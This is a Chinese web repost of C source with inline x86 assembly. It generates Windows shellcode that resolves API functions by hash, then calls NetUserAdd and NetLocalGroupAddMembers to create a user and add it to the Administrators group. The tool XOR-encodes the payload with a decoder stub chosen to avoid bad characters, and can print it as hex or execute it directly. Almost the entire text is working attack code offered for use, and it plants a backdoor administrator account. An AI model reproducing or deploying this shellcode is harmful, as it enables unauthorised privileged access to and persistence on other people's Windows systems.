| 关键词: nbsp unsigned scBuff ECX push esi EBX char MOV define |
#include <windows.h> #include <stdio.h> #define SC_HEX 0 #define NAKED __declspec(naked) #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define PROC_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90" void PrintSc(unsigned char *buf, int buf_len, int opt) { int i=0; printf("// %d bytes\n", buf_len); switch(opt) { case SC_HEX: for(i=0; i<buf_len; i++) { printf("\\x%02X", buf[i]); } break; } } void ShellCode(); unsigned char decode1[] = /* 00401004 . /EB 0E JMP SHORT encode.00401014 00401006 $ |5B POP EBX 00401007 . |4B DEC EBX 00401008 . |33C9 XOR ECX,ECX 0040100A . |B1 FF MOV CL,0FF 0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99 00401010 .^|E2 FA LOOPD SHORT encode.0040100C 00401012 . |EB 05 JMP SHORT encode.00401019 00401014 > \E8 EDFFFFFF CALL encode.00401006 */ "\xEB\x0E\x5B\x4B\x33\xC9\xB1" "\xFF" // shellcode size "\x80\x34\x0B" "\x99" // xor byte "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"; // 21字节 unsigned char decode2[] = /* ripped from eyas 00406030 /EB 10 JMP SHORT 00406042 00406032 |5B POP EBX 00406033 |4B DEC EBX 00406034 |33C9 XOR ECX,ECX 00406036 |66:B9 6601 MOV CX,166 0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99 0040603E ^|E2 FA LOOPD SHORT 0040603A 00406040 |EB 05 JMP SHORT 00406047 00406042 \E8 EBFFFFFF CALL 00406032 */ "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9" "\x66\x01" // shellcode size "\x80\x34\x0B" "\x99" // xor byte "\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"; // 23字节 // kernel32.dll 数目 #define _Knums 2 // kernel32.dll 导出 #define _LoadLibraryA 0x00 #define _ExitThread 0x04 // netapi32.dll #define _NetUserAdd 0x08 #define _NetLocalGroupAddMembers 0x0C // Data #define _DataOffset 0 #define _UserPassword 0x10 unsigned char functions[100][128] = { // [esi] stack layout // kernel32 .dll "LoadLibraryA", "ExitThread",//"ExitProcess", //"ExitThread", "NetUserAdd", "NetLocalGroupAddMembers", "", }; int GetShellCode(unsigned char* buff, char* user, char* pass) { char *fnbgn_str = PROC_STR; char *fnend_str = fnbgn_str; unsigned char* scAddr = 0; unsigned char scBuff[2048]; unsigned int scBuffLen = sizeof(scBuff); unsigned long dwHash[100]; unsigned int dwHashSize = 0; unsigned int scLen = 0; unsigned char xorByte = 0x00; int i, j, bFind; char admin[] = "Administrators"; for(i=0; functions[i][0]; i++) { dwHash[i] = 0; for(j=0; functions[i][j]; j++) { dwHash[i] = ( (dwHash[i]<<25) | (dwHash[i]>>7) ) + functions[i][j] ; } //printf("%.8X\t%s\n", dwHash[i], functions[i]); } dwHashSize = i*4; scAddr = (unsigned char *)ShellCode; for(j=0; j < scBuffLen; j++) { if(!memcmp(scAddr+j, fnbgn_str, 8)) { scAddr += (j+8); // ShellCode开始地址 break; } } for(j=0; j < scBuffLen; j++) { if(!memcmp(scAddr+j, fnend_str, 8)) { scLen = j; // Shellcode长度 (未加函数hash) break; } } memcpy(scBuff, scAddr, scLen); memcpy(scBuff+scLen, (unsigned char *)dwHash, dwHashSize); // Shellcode尾部添加函数hash scLen += dwHashSize; // Shellcode长度 (添加函数hash后) // 添加修改shellcode的部分 ...... scLen += _DataOffset; memcpy(scBuff+scLen, user, strlen(user)+1); scLen += (strlen(user)+1); memcpy(scBuff+scLen, pass, strlen(pass)+1); scLen += (strlen(pass)+1); memcpy(scBuff+scLen, admin, strlen(admin)+1); scLen += (strlen(admin)+1); for(i=0xFF; i>0; i--) // 找xorByte { for(j=0; j<scLen; j++) { if ( // 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", ((scBuff[j] ^ i) == '\r') || ((scBuff[j] ^ i) == '\n') || ((scBuff[j] ^ i) == '/') || ((scBuff[j] ^ i) == '\\') || ((scBuff[j] ^ i) == '@' ) || ((scBuff[j] ^ i) == '_' ) || ((scBuff[j] ^ i) == '.' ) || //((scBuff[j] ^ i) == ':' ) || //((scBuff[j] ^ i) == '"' ) || //((scBuff[j] ^ i) == '>' ) || //((scBuff[j] ^ i) == '<' ) || //((scBuff[j] ^ i) == ' ' ) || ((scBuff[j] ^ i) == '\0') ) { bFind = 0; break; } bFind = 1; } if(bFind) break; } if(!bFind) { printf("No xorByte found!\n"); return 0; } else { xorByte = i; for(j=0; j<scLen; j++) { scBuff[j] ^= xorByte; } // encode if(scLen > 0xFF) { *(unsigned short *)&decode2[8] = scLen; *(unsigned char *)&decode2[13] = xorByte; memcpy(buff, decode2, sizeof(decode2)-1); memcpy(buff+sizeof(decode2)-1, scBuff, scLen); scLen += sizeof(decode2)-1; } else { *(unsigned char *)&decode1[7] = scLen; *(unsigned char *)&decode1[11] = xorByte; memcpy(buff, decode1, sizeof(decode1)-1); memcpy(buff+sizeof(decode1)-1, scBuff, scLen); scLen += sizeof(decode1)-1; } return scLen; // Shellcode最终长度 } } void ShellCode() { __asm { PROC_BEGIN // C macro to begin proc jmp sc_end sc_start: pop edi // Hash string start addr (esp -> edi) // Get kernel32.dll base addr push 0x30 pop ecx mov eax, fs:[ecx] // PEB mov eax, [eax+0x0c] // PROCESS_MODULE_INFO mov esi, [eax+0x1c] // InInitOrder.flink lodsd // eax = InInitOrder.blink mov ebp, [eax+8] // ebp = kernel32.dll base address mov esi, edi // Hash string start addr -> esi push _Knums pop ecx get_kernel32: call GetProcAddress_fun // Get function addr of kernel32 loop get_kernel32 push ecx // ecx==0 push '23ip' push 'aten' // 'netapi32' push esp call [esi+_LoadLibraryA] xchg ebp, eax push 2 pop ecx get_netapi32: call GetProcAddress_fun loop get_netapi32 /* user pass admin typedef struct _USER_INFO_1 { +00 LPWSTR usri1_name; user +04 LPWSTR usri1_password; pass +08 DWORD usri1_password_age; 0 +0C DWORD usri1_priv; 1 +10 LPWSTR usri1_home_dir; 0 +14 LPWSTR usri1_comment; 0 +18 DWORD usri1_flags; 10000 +1C LPWSTR usri1_script_path; 0 }USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1; typedef struct _LOCALGROUP_MEMBERS_INFO_3 { +20 LPWSTR lgrmi3_domainandname; } LOCALGROUP_MEMBERS_INFO_3; */ //int 3 // ecx==0 inc ch sub esp, ecx // ecx==100 xchg ebx, esi lea esi, [ebx+_UserPassword] xor eax, eax mov edi, esp // esp user call ascii_to_unicode mov edx, edi // edx pass call ascii_to_unicode mov ebp, edi // ebp admin call ascii_to_unicode xchg ebx, esi push 8 // eax==0 pop ecx mov ebx, edi zero_loop: stosd loop zero_loop mov [edi], esp mov [ebx], esp mov [ebx+4], edx inc ecx push ecx push edi push 3 push ebp push eax push eax push ebx push ecx push eax mov [ebx+0x0C], ecx // ecx==1 shl ecx, 0x10 // ecx==10000h mov [ebx+0x18], ecx call [esi+_NetUserAdd] // NetUserAdd(NULL, 1, (LPBYTE)&UserInfo1, NULL); call [esi+_NetLocalGroupAddMembers] // NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&GroupInfo3, 1); call [esi+_ExitThread] ascii_to_unicode: convert_loop: lodsb stosw test al, al jne convert_loop retn /* esi 指向hash数组基址 edi 指向hash存放地址 ebp 指向PE加载基址 */ GetProcAddress_fun: push ecx push esi mov esi, [ebp+0x3C] // e_lfanew mov esi, [esi+ebp+0x78] // ExportDirectory RVA add esi, ebp // rva2va push esi mov esi, [esi+0x20] // AddressOfNames RVA add esi, ebp // rva2va xor ecx, ecx dec ecx find_start: inc ecx lodsd add eax, ebp xor ebx, ebx hash_loop: movsx edx, byte ptr [eax] cmp dl, dh jz short find_addr ror ebx, 7 // hash key add ebx, edx inc eax jmp short hash_loop find_addr: cmp ebx, [edi] // compare to hash jnz short find_start pop esi // ExportDirectory mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA add ebx, ebp // rva2va mov cx, [ebx+ecx*2] // FunctionOrdinal mov ebx, [esi+0x1C] // AddressOfFunctions RVA add ebx, ebp // rva2va mov eax, [ebx+ecx*4] // FunctionAddress RVA add eax, ebp // rva2va stosd // function address save to [edi] pop esi pop ecx ret sc_end: call sc_start PROC_END //C macro to end proc } } #ifndef _MAIN_FUNC void main(int argc, char *argv[]) { unsigned char scBuff[2048]; unsigned int scLen = 0; DWORD addr; if(argc==3 || argc==4) { scLen = GetShellCode(scBuff, argv[1], argv[2]); } else { printf( "Usage:\n" " %s user pass [1]\n" " eg. %s admin pass\n" ,argv[0], argv[0]); return; } if(argc==4 && atoi(argv[3])==1) { addr = (DWORD)&scBuff; __asm { jmp addr } return; } else { PrintSc(scBuff, scLen, SC_HEX); } } #endif |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|